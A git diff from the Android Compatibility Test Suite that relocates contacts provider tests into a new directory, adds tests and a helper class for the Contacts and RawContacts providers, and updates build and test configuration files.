+ fail("Should throw out UnsupportedOperationException.");
+ } catch (UnsupportedOperationException e) {
+ // Don't support direct insert operation to setting URI.
+ }
+
+ // use the methods in Settings class to insert a row.
+ Settings.setSetting(mContentResolver, null, insertKey, insertValue);
+
+ Cursor cursor = mProvider.query(
+ Settings.CONTENT_URI, SETTINGS_PROJECTION,
+ Settings.KEY + " = ?",
+ new String[] {insertKey}, null, null);
+ assertTrue(cursor.moveToNext());
+ assertNull(cursor.getString(SYNC_ACCOUNT_NAME_INDEX));
+ assertNull(cursor.getString(SYNC_ACCOUNT_TYPE_INDEX));
+ assertEquals(insertKey, cursor.getString(KEY_INDEX));
+ assertEquals(insertValue, cursor.getString(VALUE_INDEX));
+ int id = cursor.getInt(ID_INDEX);
+ cursor.close();
+
+ // Test: update
+ // if we update with a not-existed key, it equals insert operation.
+ value.clear();
+ value.put(Settings.KEY, updateKey);
+ value.put(Settings.VALUE, updateValue);
+
+ mProvider.update(Settings.CONTENT_URI, value, null, null);
+ cursor = mProvider.query(
+ Settings.CONTENT_URI, SETTINGS_PROJECTION,
+ Settings.KEY + " = ?",
+ new String[] {updateKey}, null, null);
+ assertTrue(cursor.moveToNext());
+ assertNull(cursor.getString(SYNC_ACCOUNT_NAME_INDEX));
+ assertNull(cursor.getString(SYNC_ACCOUNT_TYPE_INDEX));
+ assertEquals(updateKey, cursor.getString(KEY_INDEX));
+ assertEquals(updateValue, cursor.getString(VALUE_INDEX));
+ cursor.close();
+ cursor = mProvider.query(
+ Settings.CONTENT_URI, SETTINGS_PROJECTION,
+ Settings.KEY + " = ?",
+ new String[] {insertKey}, null, null);
+ assertTrue(cursor.moveToNext());
+ assertNull(cursor.getString(SYNC_ACCOUNT_NAME_INDEX));
+ assertNull(cursor.getString(SYNC_ACCOUNT_TYPE_INDEX));
+ assertEquals(insertKey, cursor.getString(KEY_INDEX));
+ assertEquals(insertValue, cursor.getString(VALUE_INDEX));
+ cursor.close();
+
+ // Test: update
+ // if we update with a not-existed key, then it is really update operation.
+ value.clear();
+ value.put(Settings.KEY, insertKey);
+ value.put(Settings.VALUE, updateValue);
+
+ mProvider.update(Settings.CONTENT_URI, value, null, null);
+ cursor = mProvider.query(
+ Settings.CONTENT_URI, SETTINGS_PROJECTION,
+ Settings.KEY + " = ?",
+ new String[] {insertKey}, null, null);
+ assertTrue(cursor.moveToNext());
+ assertNull(cursor.getString(SYNC_ACCOUNT_NAME_INDEX));
+ assertNull(cursor.getString(SYNC_ACCOUNT_TYPE_INDEX));
+ assertEquals(insertKey, cursor.getString(KEY_INDEX));
+ assertEquals(updateValue, cursor.getString(VALUE_INDEX));
+ cursor.close();
+ cursor = mProvider.query(
+ Settings.CONTENT_URI, SETTINGS_PROJECTION,
+ Settings.KEY + " = ?",
+ new String[] {updateKey}, null, null);
+ assertTrue(cursor.moveToNext());
+ assertNull(cursor.getString(SYNC_ACCOUNT_NAME_INDEX));
+ assertNull(cursor.getString(SYNC_ACCOUNT_TYPE_INDEX));
+ assertEquals(updateKey, cursor.getString(KEY_INDEX));
+ assertEquals(updateValue, cursor.getString(VALUE_INDEX));
+ cursor.close();
+
+ // Test: delete
+ try {
+ mProvider.delete(Settings.CONTENT_URI, Settings._ID + " = " + id, null);
+ fail("Should throw out UnsupportedOperationException.");
+ } catch (UnsupportedOperationException e) {
+ // Don't support delete operation to setting URI.
+ }
+
+ // NOTE: because the delete operation is not supported,
+ // there will be some garbage rows in settings table.
+ } catch (RemoteException e) {
+ fail("Unexpected RemoteException");
+ }
+ }
+
+ /**
+ * Test case for the behavior of the ContactsProvider's extensions table
+ * It does not test any APIs in android.provider.Contacts.java
+ */
+ public void testExtensionsTable() {
+ final String[] EXTENSIONS_PROJECTION = new String[] {
+ Extensions._ID, Extensions.NAME,
+ Extensions.VALUE, Extensions.PERSON_ID};
+ final int NAME_INDEX = 1;
+ final int VALUE_INDEX = 2;
+ final int PERSON_ID_INDEX = 3;
+
+ String insertName = "name_insert";
+ String insertValue = "value_insert";
+ String updateName = "name_update";
+ String updateValue = "value_update";
+
+ try {
+ ContentValues value = new ContentValues();
+ value.put(PeopleColumns.NAME, "name_extensions_test_stub");
+ Uri peopleUri = mProvider.insert(People.CONTENT_URI, value);
+ int peopleId = Integer.parseInt(peopleUri.getPathSegments().get(1));
+
+ // Test: insert
+ value.clear();
+ value.put(Extensions.NAME, insertName);
+ value.put(Extensions.VALUE, insertValue);
+ value.put(Extensions.PERSON_ID, peopleId);
+
+ Uri uri = mProvider.insert(Extensions.CONTENT_URI, value);
+ Cursor cursor = mProvider.query(
+ Extensions.CONTENT_URI, EXTENSIONS_PROJECTION,
+ Extensions.PERSON_ID + " = " + peopleId,
+ null, null, null);
+ assertTrue(cursor.moveToNext());
+ assertEquals(insertName, cursor.getString(NAME_INDEX));
+ assertEquals(insertValue, cursor.getString(VALUE_INDEX));
+ assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
+ cursor.close();
+
+ // Test: update
+ value.clear();
+ value.put(Extensions.NAME, updateName);
+ value.put(Settings.VALUE, updateValue);
+
+ mProvider.update(uri, value, null, null);
+ cursor = mProvider.query(Extensions.CONTENT_URI,
+ EXTENSIONS_PROJECTION,
+ Extensions.PERSON_ID + " = " + peopleId,
+ null, null, null);
+ assertTrue(cursor.moveToNext());
+ assertEquals(updateName, cursor.getString(NAME_INDEX));
+ assertEquals(updateValue, cursor.getString(VALUE_INDEX));
+ assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
+ cursor.close();
+
+ // Test: delete
+ mProvider.delete(uri, null, null);
+ cursor = mProvider.query(Extensions.CONTENT_URI,
+ EXTENSIONS_PROJECTION,
+ Extensions.PERSON_ID + " = " + peopleId,
+ null, null, null);
+ assertEquals(0, cursor.getCount());
+ cursor.close();
+ } catch (RemoteException e) {
+ fail("Unexpected RemoteException");
+ }
+ }
+
+ /**
+ * Test case for the behavior of the ContactsProvider's groupmembership table
+ * It does not test any APIs in android.provider.Contacts.java
+ */
+ public void testGroupMembershipTable() {
+ final String[] GROUP_MEMBERSHIP_PROJECTION = new String[] {
+ GroupMembership._ID, GroupMembership.PERSON_ID,
+ GroupMembership.GROUP_ID, GroupMembership.GROUP_SYNC_ACCOUNT,
+ GroupMembership.GROUP_SYNC_ID};
+ final int ID_INDEX = 0;
+ final int PERSON_ID_INDEX = 1;
+ final int GROUP_ID_INDEX = 2;
+ final int GROUP_SYNC_ACCOUNT_INDEX = 3;
+ final int GROUP_SYNC_ID_INDEX = 4;
+
+ try {
+ ContentValues value = new ContentValues();
+ value.put(PeopleColumns.NAME, "name_group_membership_test_stub");
+ Uri peopleUri = mProvider.insert(People.CONTENT_URI, value);
+ int peopleId = Integer.parseInt(peopleUri.getPathSegments().get(1));
+
+ value.clear();
+ value.put(GroupsColumns.NAME, "name_group_membership_test_stub1");
+ Uri groupUri1 = mProvider.insert(Groups.CONTENT_URI, value);
+ int groupId1 = Integer.parseInt(groupUri1.getPathSegments().get(1));
+ value.clear();
+ value.put(GroupsColumns.NAME, "name_group_membership_test_stub2");
+ Uri groupUri2 = mProvider.insert(Groups.CONTENT_URI, value);
+ int groupId2 = Integer.parseInt(groupUri2.getPathSegments().get(1));
+
+ // Test: insert
+ value.clear();
+ value.put(GroupMembership.PERSON_ID, peopleId);
+ value.put(GroupMembership.GROUP_ID, groupId1);
+
+ Uri uri = mProvider.insert(GroupMembership.CONTENT_URI, value);
+ Cursor cursor = mProvider.query(
+ GroupMembership.CONTENT_URI, GROUP_MEMBERSHIP_PROJECTION,
+ GroupMembership.PERSON_ID + " = " + peopleId,
+ null, null, null);
+
+ // Check that the person has been associated with the group. The person may be in
+ // additional groups by being added automatically.
+ int id = -1;
+ while(true) {
+ assertTrue(cursor.moveToNext());
+ assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
+ int cursorGroupId = cursor.getInt(GROUP_ID_INDEX);
+ if (groupId1 == cursorGroupId) {
+ id = cursor.getInt(ID_INDEX);
+ break;
+ }
+ }
+ assertTrue(id != -1);
+ cursor.close();
+
+ // Test: update
+ value.clear();
+ value.put(GroupMembership.GROUP_ID, groupId2);
+
+ try {
+ mProvider.update(uri, value, null, null);
+ fail("Should throw out UnsupportedOperationException.");
+ } catch (UnsupportedOperationException e) {
+ // Don't support direct update operation to groupmembership URI.
+ }
+
+ // Test: delete
+ mProvider.delete(uri, null, null);
+ cursor = mProvider.query(GroupMembership.CONTENT_URI,
+ GROUP_MEMBERSHIP_PROJECTION,
+ "groupmembership._id" + " = " + id,
+ null, null, null);
+ assertEquals(0, cursor.getCount());
+ cursor.close();
+
+ mProvider.delete(peopleUri, null, null);
+ mProvider.delete(groupUri1, null, null);
+ mProvider.delete(groupUri2, null, null);
+ } catch (RemoteException e) {
+ fail("Unexpected RemoteException");
+ }
+ }
+
+ private long getElapsedDurationMillis(long timeStampMillis){
+ return (System.currentTimeMillis() - timeStampMillis);
+ }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/Contacts_ContactMethodsTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/Contacts_ContactMethodsTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/Contacts_ContactMethodsTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/Contacts_ContactMethodsTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/Contacts_OrganizationsTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/Contacts_OrganizationsTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/Contacts_OrganizationsTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/Contacts_OrganizationsTest.java
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/Contacts_PeopleTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/Contacts_PeopleTest.java
new file mode 100644
index 0000000..278fe5a
--- /dev/null
+++ b/tests/tests/contactsprovider/src/android/provider/cts/contacts/Contacts_PeopleTest.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.Cursor;
+import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
+import android.net.Uri;
+import android.os.RemoteException;
+import android.provider.Contacts;
+import android.provider.Contacts.GroupMembership;
+import android.provider.Contacts.Groups;
+import android.provider.Contacts.GroupsColumns;
+import android.provider.Contacts.People;
+import android.test.InstrumentationTestCase;
+import android.util.Log;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.ArrayList;
+import java.util.List;
+
+public class Contacts_PeopleTest extends InstrumentationTestCase {
+ private ContentResolver mContentResolver;
+ private ContentProviderClient mProvider;
+
+ private ArrayList<Uri> mPeopleRowsAdded;
+ private ArrayList<Uri> mGroupRowsAdded;
+ private ArrayList<Uri> mRowsAdded;
+
+ private static final String[] PEOPLE_PROJECTION = new String[] {
+ People._ID,
+ People.LAST_TIME_CONTACTED,
+ People.TIMES_CONTACTED
+ };
+ private static final int PEOPLE_ID_INDEX = 0;
+ private static final int PEOPLE_LAST_CONTACTED_INDEX = 1;
+ private static final int PEOPLE_TIMES_CONTACTED_INDEX = 1;
+
+ private static final String[] GROUPS_PROJECTION = new String[] {
+ Groups._ID,
+ Groups.NAME
+ };
+ private static final int GROUPS_ID_INDEX = 0;
+ private static final int GROUPS_NAME_INDEX = 1;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mContentResolver = getInstrumentation().getTargetContext().getContentResolver();
+ mProvider = mContentResolver.acquireContentProviderClient(Contacts.AUTHORITY);
+
+ mPeopleRowsAdded = new ArrayList<Uri>();
+ mGroupRowsAdded = new ArrayList<Uri>();
+ mRowsAdded = new ArrayList<Uri>();
+
+ // insert some lines in people table and groups table to be used in test case.
+ for (int i=0; i<3; i++) {
+ ContentValues value = new ContentValues();
+ value.put(People.NAME, "test_people_" + i);
+ value.put(People.TIMES_CONTACTED, 0);
+ value.put(People.LAST_TIME_CONTACTED, 0);
+ mPeopleRowsAdded.add(mProvider.insert(People.CONTENT_URI, value));
+ }
+
+ ContentValues value = new ContentValues();
+ value.put(Groups.NAME, "test_group_0");
+ mGroupRowsAdded.add(mProvider.insert(Groups.CONTENT_URI, value));
+ value.put(Groups.NAME, "test_group_1");
+ mGroupRowsAdded.add(mProvider.insert(Groups.CONTENT_URI, value));
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ // remove the lines we inserted in setup and added in test cases.
+ for (Uri row : mRowsAdded) {
+ mProvider.delete(row, null, null);
+ }
+ mRowsAdded.clear();
+
+ for (Uri row : mPeopleRowsAdded) {
+ mProvider.delete(row, null, null);
+ }
+ mPeopleRowsAdded.clear();
+
+ for (Uri row : mGroupRowsAdded) {
+ mProvider.delete(row, null, null);
+ }
+ mGroupRowsAdded.clear();
+
+ super.tearDown();
+ }
+
+ public void testAddToGroup() {
+ Cursor cursor;
+ try {
+ // Add the My Contacts group, since it is no longer automatically created.
+ ContentValues testValues = new ContentValues();
+ testValues.put(GroupsColumns.SYSTEM_ID, Groups.GROUP_MY_CONTACTS);
+ mProvider.insert(Groups.CONTENT_URI, testValues);
+
+ // People: test_people_0, Group: Groups.GROUP_MY_CONTACTS
+ cursor = mProvider.query(mPeopleRowsAdded.get(0), PEOPLE_PROJECTION,
+ null, null, null, null);
+ cursor.moveToFirst();
+ int personId = cursor.getInt(PEOPLE_ID_INDEX);
+ cursor.close();
+ mRowsAdded.add(People.addToMyContactsGroup(mContentResolver, personId));
+ cursor = mProvider.query(Groups.CONTENT_URI, GROUPS_PROJECTION,
+ Groups.SYSTEM_ID + "='" + Groups.GROUP_MY_CONTACTS + "'", null, null, null);
+ assertTrue(cursor.moveToFirst());
+ int groupId = cursor.getInt(GROUPS_ID_INDEX);
+ cursor.close();
+ cursor = People.queryGroups(mContentResolver, personId);
+
+ int membershipGroupIdIndex =
+ cursor.getColumnIndex(android.provider.Contacts.GroupMembership.GROUP_ID);
+ int membershipPersonIdIndex =
+ cursor.getColumnIndex(android.provider.Contacts.GroupMembership.PERSON_ID);
+
+ assertTrue(cursor.moveToFirst());
+ assertEquals(personId, cursor.getInt(membershipPersonIdIndex));
+ assertEquals(groupId, cursor.getInt(membershipGroupIdIndex));
+ cursor.close();
+
+ // People: test_people_create, Group: Groups.GROUP_MY_CONTACTS
+ ContentValues values = new ContentValues();
+ values.put(People.NAME, "test_people_create");
+ values.put(People.TIMES_CONTACTED, 0);
+ values.put(People.LAST_TIME_CONTACTED, 0);
+ mRowsAdded.add(People.createPersonInMyContactsGroup(mContentResolver, values));
+ cursor = mProvider.query(People.CONTENT_URI, PEOPLE_PROJECTION,
+ People.NAME + " = 'test_people_create'", null, null, null);
+
+ assertTrue(cursor.moveToFirst());
+ personId = cursor.getInt(PEOPLE_ID_INDEX);
+ mRowsAdded.add(ContentUris.withAppendedId(People.CONTENT_URI, personId));
+ cursor.close();
+ cursor = mProvider.query(Groups.CONTENT_URI, GROUPS_PROJECTION,
+ Groups.SYSTEM_ID + "='" + Groups.GROUP_MY_CONTACTS + "'", null, null, null);
+ assertTrue(cursor.moveToFirst());
+ groupId = cursor.getInt(GROUPS_ID_INDEX);
+ cursor.close();
+ cursor = People.queryGroups(mContentResolver, personId);
+ assertTrue(cursor.moveToFirst());
+ assertEquals(personId, cursor.getInt(membershipPersonIdIndex));
+ assertEquals(groupId, cursor.getInt(membershipGroupIdIndex));
+ cursor.close();
+
+ // People: test_people_1, Group: test_group_0
+ cursor = mProvider.query(mPeopleRowsAdded.get(1), PEOPLE_PROJECTION,
+ null, null, null, null);
+ assertTrue(cursor.moveToFirst());
+ personId = cursor.getInt(PEOPLE_ID_INDEX);
+ cursor.close();
+ cursor = mProvider.query(mGroupRowsAdded.get(0), GROUPS_PROJECTION,
+ null, null, null, null);
+ assertTrue(cursor.moveToFirst());
+ groupId = cursor.getInt(GROUPS_ID_INDEX);
+ cursor.close();
+ mRowsAdded.add(People.addToGroup(mContentResolver, personId, groupId));
+ cursor = People.queryGroups(mContentResolver, personId);
+ boolean found = false;
+ while (cursor.moveToNext()) {
+ assertEquals(personId, cursor.getInt(membershipPersonIdIndex));
+ if (cursor.getInt(membershipGroupIdIndex) == groupId) {
+ found = true;
+ break;
+ }
+ }
+ assertTrue(found);
+
+ cursor.close();
+
+ // People: test_people_2, Group: test_group_1
+ cursor = mProvider.query(mPeopleRowsAdded.get(2), PEOPLE_PROJECTION,
+ null, null, null, null);
+ assertTrue(cursor.moveToFirst());
+ personId = cursor.getInt(PEOPLE_ID_INDEX);
+ cursor.close();
+ String groupName = "test_group_1";
+ mRowsAdded.add(People.addToGroup(mContentResolver, personId, groupName));
+ cursor = People.queryGroups(mContentResolver, personId);
+ List<Integer> groupIds = new ArrayList<Integer>();
+ while (cursor.moveToNext()) {
+ assertEquals(personId, cursor.getInt(membershipPersonIdIndex));
+ groupIds.add(cursor.getInt(membershipGroupIdIndex));
+ }
+ cursor.close();
+
+ found = false;
+ for (int id : groupIds) {
+ cursor = mProvider.query(Groups.CONTENT_URI, GROUPS_PROJECTION,
+ Groups._ID + "=" + id, null, null, null);
+ cursor.moveToFirst();
+ if (groupName.equals(cursor.getString(GROUPS_NAME_INDEX))) {
+ found = true;
+ break;
+ }
+ }
+ assertTrue(found);
+ cursor.close();
+ } catch (RemoteException e) {
+ fail("Unexpected RemoteException");
+ }
+ }
+
+ public void testMarkAsContacted() {
+ Cursor cursor;
+ try {
+ cursor = mProvider.query(mPeopleRowsAdded.get(0), PEOPLE_PROJECTION,
+ null, null, null, null);
+ cursor.moveToFirst();
+ int personId = cursor.getInt(PEOPLE_ID_INDEX);
+ assertEquals(0, cursor.getLong(PEOPLE_LAST_CONTACTED_INDEX));
+ assertEquals(0, cursor.getLong(PEOPLE_TIMES_CONTACTED_INDEX));
+ cursor.close();
+
+ People.markAsContacted(mContentResolver, personId);
+ cursor = mProvider.query(mPeopleRowsAdded.get(0), PEOPLE_PROJECTION,
+ null, null, null, null);
+ cursor.moveToFirst();
+ assertEquals(0, cursor.getLong(PEOPLE_LAST_CONTACTED_INDEX));
+ assertEquals(0, cursor.getLong(PEOPLE_TIMES_CONTACTED_INDEX));
+ cursor.close();
+ } catch (RemoteException e) {
+ fail("Unexpected RemoteException");
+ }
+ }
+
+ public void testAccessPhotoData() {
+ Context context = getInstrumentation().getTargetContext();
+ try {
+ InputStream inputStream = context.getResources().openRawResource(
+ android.provider.cts.contacts.R.drawable.testimage);
+ int size = inputStream.available();
+ byte[] data = new byte[size];
+ inputStream.read(data);
+
+ People.setPhotoData(mContentResolver, mPeopleRowsAdded.get(0), data);
+ InputStream photoStream = People.openContactPhotoInputStream(
+ mContentResolver, mPeopleRowsAdded.get(0));
+ assertNotNull(photoStream);
+ Bitmap bitmap = BitmapFactory.decodeStream(photoStream, null, null);
+ assertEquals(96, bitmap.getWidth());
+ assertEquals(64, bitmap.getHeight());
+
+ photoStream = People.openContactPhotoInputStream(mContentResolver,
+ mPeopleRowsAdded.get(1));
+ assertNull(photoStream);
+
+ bitmap = People.loadContactPhoto(context, mPeopleRowsAdded.get(0),
+ android.provider.cts.contacts.R.drawable.size_48x48, null);
+ assertEquals(96, bitmap.getWidth());
+ assertEquals(64, bitmap.getHeight());
+
+ bitmap = People.loadContactPhoto(context, null,
+ android.provider.cts.contacts.R.drawable.size_48x48, null);
+ assertNotNull(bitmap);
+ } catch (IOException e) {
+ fail("Unexpected IOException");
+ }
+ }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/Contacts_PhonesTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/Contacts_PhonesTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/Contacts_PhonesTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/Contacts_PhonesTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/Contacts_SettingsTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/Contacts_SettingsTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/Contacts_SettingsTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/Contacts_SettingsTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/DataUtil.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/DataUtil.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/DataUtil.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/DataUtil.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/DatabaseAsserts.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/DatabaseAsserts.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/DatabaseAsserts.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/DatabaseAsserts.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/DeletedContactUtil.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/DeletedContactUtil.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/DeletedContactUtil.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/DeletedContactUtil.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/DummyGalProvider.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/DummyGalProvider.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/DummyGalProvider.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/DummyGalProvider.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/README.txt b/tests/tests/contactsprovider/src/android/provider/cts/contacts/README.txt
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/README.txt
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/README.txt
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/RawContactUtil.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/RawContactUtil.java
new file mode 100644
index 0000000..e21190b
--- /dev/null
+++ b/tests/tests/contactsprovider/src/android/provider/cts/contacts/RawContactUtil.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.provider.cts.contacts;
+
+import android.accounts.Account;
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.ContactsContract;
+
+import java.util.List;
+
+/**
+ * Convenience methods for operating on the RawContacts table.
+ */
+public class RawContactUtil {
+
+ private static final Uri URI = ContactsContract.RawContacts.CONTENT_URI;
+
+ public static int update(ContentResolver resolver, long rawContactId,
+ ContentValues values) {
+ Uri uri = ContentUris.withAppendedId(URI, rawContactId);
+ return resolver.update(uri, values, null, null);
+ }
+
+ public static long createRawContactWithName(ContentResolver resolver, Account account,
+ String name) {
+ Long rawContactId = insertRawContact(resolver, account);
+ DataUtil.insertName(resolver, rawContactId, name);
+ return rawContactId;
+ }
+
+ public static long createRawContactWithAutoGeneratedName(ContentResolver resolver,
+ Account account) {
+ Long rawContactId = insertRawContact(resolver, account);
+ DataUtil.insertAutoGeneratedName(resolver, rawContactId);
+ return rawContactId;
+ }
+
+ public static long insertRawContact(ContentResolver resolver, Account account) {
+ ContentValues values = new ContentValues();
+ if (account != null) {
+ values.put(ContactsContract.RawContacts.ACCOUNT_NAME, account.name);
+ values.put(ContactsContract.RawContacts.ACCOUNT_TYPE, account.type);
+ }
+ Uri uri = resolver.insert(URI, values);
+ return ContentUris.parseId(uri);
+ }
+
+ public static String[] queryByRawContactId(ContentResolver resolver,
+ long rawContactId, String[] projection) {
+ Uri uri = ContentUris.withAppendedId(URI, rawContactId);
+ Cursor cursor = resolver.query(uri, projection, null, null, null);
+ return CommonDatabaseUtils.singleRecordToArray(cursor);
+ }
+
+ /**
+ * Returns a list of raw contact records.
+ *
+ * @return A list of records. Where each record is represented as an array of strings.
+ */
+ public static List<String[]> queryByContactId(ContentResolver resolver, long contactId,
+ String[] projection) {
+ Uri uri = ContentUris.withAppendedId(URI, contactId);
+ Cursor cursor = resolver.query(uri, projection, null, null, null);
+ return CommonDatabaseUtils.multiRecordToArray(cursor);
+ }
+
+ public static void delete(ContentResolver resolver, long rawContactId,
+ boolean isSyncAdapter) {
+ Uri uri = ContentUris.withAppendedId(URI, rawContactId)
+ .buildUpon()
+ .appendQueryParameter(ContactsContract.CALLER_IS_SYNCADAPTER, isSyncAdapter + "")
+ .build();
+ resolver.delete(uri, null, null);
+ }
+
+ public static long queryContactIdByRawContactId(ContentResolver resolver, long rawContactid) {
+ String[] projection = new String[]{
+ ContactsContract.RawContacts.CONTACT_ID
+ };
+ String[] result = RawContactUtil.queryByRawContactId(resolver, rawContactid,
+ projection);
+ if (result == null) {
+ return CommonDatabaseUtils.NOT_FOUND;
+ }
+ return Long.parseLong(result[0]);
+ }
+
+ public static boolean rawContactExistsById(ContentResolver resolver, long rawContactid) {
+ long contactId = queryContactIdByRawContactId(resolver, rawContactid);
+ return contactId != CommonDatabaseUtils.NOT_FOUND;
+ }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/account/MockAccountService.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/account/MockAccountService.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/account/MockAccountService.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/account/MockAccountService.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/account/StaticAccountAuthenticator.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/account/StaticAccountAuthenticator.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/account/StaticAccountAuthenticator.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/account/StaticAccountAuthenticator.java
diff --git a/tests/tests/content/Android.mk b/tests/tests/content/Android.mk
new file mode 100644
index 0000000..8f2b031
--- /dev/null
+++ b/tests/tests/content/Android.mk
@@ -0,0 +1,16 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+include $(call all-subdir-makefiles)
+
diff --git a/tests/tests/content/AndroidManifest.xml b/tests/tests/content/AndroidManifest.xml
index 7e5d2e9..66eb8a4 100644
--- a/tests/tests/content/AndroidManifest.xml
+++ b/tests/tests/content/AndroidManifest.xml
@@ -259,6 +259,11 @@
android:process=":testpagingprovider"
android:multiprocess="false" />
+ <provider android:name="android.content.cts.MockBuggyProvider"
+ android:authorities="android.content.cts.mockbuggyprovider"
+ android:process=":mockbuggyprovider"
+ android:multiprocess="false" />
+
<service android:name="android.content.cts.MockService" />
<service android:name="android.content.cts.MockSyncAdapterService" android:exported="true">
diff --git a/tests/tests/content/AndroidTest.xml b/tests/tests/content/AndroidTest.xml
index 418c201..0aba510 100644
--- a/tests/tests/content/AndroidTest.xml
+++ b/tests/tests/content/AndroidTest.xml
@@ -22,6 +22,8 @@
<!-- The framework has some native code involved. -->
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
<option name="run-command" value="mkdir -p /data/local/tmp/cts/content" />
<option name="teardown-command" value="rm -rf /data/local/tmp/cts"/>
@@ -35,6 +37,22 @@
<option name="push" value="CtsContentEmptyTestApp.apk->/data/local/tmp/cts/content/CtsContentEmptyTestApp.apk" />
</target_preparer>
+ <target_preparer class="com.android.tradefed.targetprep.PushFilePreparer">
+ <option name="cleanup" value="true" />
+ <option name="push-file" key="HelloWorld5.apk" value="/data/local/tmp/cts/content/HelloWorld5.apk" />
+ <option name="push-file" key="HelloWorld5_hdpi-v4.apk" value="/data/local/tmp/cts/content/HelloWorld5_hdpi-v4.apk" />
+ <option name="push-file" key="HelloWorld5_mdpi-v4.apk" value="/data/local/tmp/cts/content/HelloWorld5_mdpi-v4.apk" />
+ <option name="push-file" key="HelloWorld5_xhdpi-v4.apk" value="/data/local/tmp/cts/content/HelloWorld5_xhdpi-v4.apk" />
+ <option name="push-file" key="HelloWorld5_xxhdpi-v4.apk" value="/data/local/tmp/cts/content/HelloWorld5_xxhdpi-v4.apk" />
+ <option name="push-file" key="HelloWorld5_xxxhdpi-v4.apk" value="/data/local/tmp/cts/content/HelloWorld5_xxxhdpi-v4.apk" />
